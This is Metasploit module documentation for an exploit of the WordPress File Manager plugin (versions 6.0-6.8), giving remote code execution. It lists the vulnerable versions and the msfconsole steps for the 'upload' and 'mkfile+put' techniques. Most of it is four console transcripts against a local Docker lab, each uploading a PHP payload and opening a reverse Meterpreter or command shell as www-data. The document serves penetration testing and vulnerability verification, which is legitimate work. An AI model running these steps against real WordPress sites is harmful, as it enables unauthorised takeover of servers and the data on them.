metasploit-gs/documentation/modules/exploit/multi/http/wp_file_manager_rce.md at 03bb062c2e0ff3cb33dbd52dcd80dda965943239

adam/metasploit-gs

Fork 0

Files

T

ide0x90 8d43fa4848 Module can now use mkfile+put method to exploit vulnerability.

2020-10-15 17:46:40 +08:00

5.5 KiB

Raw Blame History

Vulnerable Application

Get a copy of version 6.0 plugin from https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip.

Vulnerable versions are 6.0-6.8. Versions below 6.0 are not vulnerable and version 6.9 has been patched.

Verification Steps

Start msfconsole
Do: use exploit/multi/http/wp_file_manager_rce
Do: set TARGETURI <target_uri>
Do: set RHOSTS <target_ip>
Optional: Do: set RPORT <target_port>
Optional: Do: set PAYLOAD <payload> to switch payloads
Optional: Do: set COMMAND <command> to switch elFinder commands used to exploit vulnerability
Do: check to confirm existence of vulnerability or exploit to let the shells rain

Options

COMMAND

This vulnerability can be exploited in 2 ways:

upload to directly upload a payload
mkfile to create a file, then put to write arbitrary code to the newly created file

This option has 2 valid values:

upload: exploit using the upload technique (default)
mkfile+put: exploit using mkfile and put

Scenarios

Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, default payload, using `upload`

msf6 > use exploit/multi/http/wp_file_manager_rce 
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/wp_file_manager_rce) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/wp_file_manager_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444 
[*] Checking /wp-content/plugins/wp-file-manager/readme.txt
[*] Found version 6.0 in the plugin
[*] 127.0.0.1:8080 - Payload is at /wp-content/plugins/wp-file-manager/lib/files/aEiptb.php
[*] Sending stage (39264 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (192.168.137.128:4444 -> 172.17.0.3:35578) at 2020-10-12 20:19:16 +0800

meterpreter > sysinfo
Computer    : 6fc94cd81e93
OS          : Linux 6fc94cd81e93 5.8.0-kali1-amd64 #1 SMP Debian 5.8.7-1kali1 (2020-09-14) x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
meterpreter >

Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, `php/reverse_php` payload, using `upload`

msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/wp_file_manager_rce) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/wp_file_manager_rce) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf6 exploit(multi/http/wp_file_manager_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444 
[*] Checking /wp-content/plugins/wp-file-manager/readme.txt
[*] Found version 6.0 in the plugin
[*] 127.0.0.1:8080 - Payload is at /wp-content/plugins/wp-file-manager/lib/files/XFVi0d.php
[*] Command shell session 2 opened (192.168.137.128:4444 -> 172.17.0.3:35598) at 2020-10-12 20:20:04 +0800

uname -a
Linux 6fc94cd81e93 5.8.0-kali1-amd64 #1 SMP Debian 5.8.7-1kali1 (2020-09-14) x86_64 GNU/Linux
whoami
www-data

Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, default payload, using `mkfile+put`

msf6 > use multi/http/wp_file_manager_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/wp_file_manager_rce) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/wp_file_manager_rce) > set COMMAND mkfile+put 
COMMAND => mkfile+put
msf6 exploit(multi/http/wp_file_manager_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444 
[*] Checking /wp-content/plugins/wp-file-manager/readme.txt
[*] Found version 6.0 in the plugin
[*] 127.0.0.1:8080 - Payload is at /wp-content/plugins/wp-file-manager/lib/files/unl8LJ.php
[*] Sending stage (39264 bytes) to 172.17.0.3
[*] Meterpreter session 5 opened (192.168.137.128:4444 -> 172.17.0.3:38076) at 2020-10-15 17:42:00 +0800

meterpreter > sysinfo
Computer    : 6fc94cd81e93
OS          : Linux 6fc94cd81e93 5.8.0-kali1-amd64 #1 SMP Debian 5.8.7-1kali1 (2020-09-14) x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
meterpreter >

Docker container, WordPress 5.5.1, File Manager plugin version 6.0, default path for File Manager, `php/reverse_php` payload, using `mkfile+put`

msf6 exploit(multi/http/wp_file_manager_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/wp_file_manager_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/wp_file_manager_rce) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf6 exploit(multi/http/wp_file_manager_rce) > set COMMAND mkfile+put 
COMMAND => mkfile+put
msf6 exploit(multi/http/wp_file_manager_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444 
[*] Checking /wp-content/plugins/wp-file-manager/readme.txt
[*] Found version 6.0 in the plugin
[*] 127.0.0.1:8080 - Payload is at /wp-content/plugins/wp-file-manager/lib/files/DmFEWt.php
[*] Command shell session 6 opened (192.168.137.128:4444 -> 172.17.0.3:38096) at 2020-10-15 17:43:27 +0800

uname -a
Linux 6fc94cd81e93 5.8.0-kali1-amd64 #1 SMP Debian 5.8.7-1kali1 (2020-09-14) x86_64 GNU/Linux
whoami
www-data

5.5 KiB Raw Blame History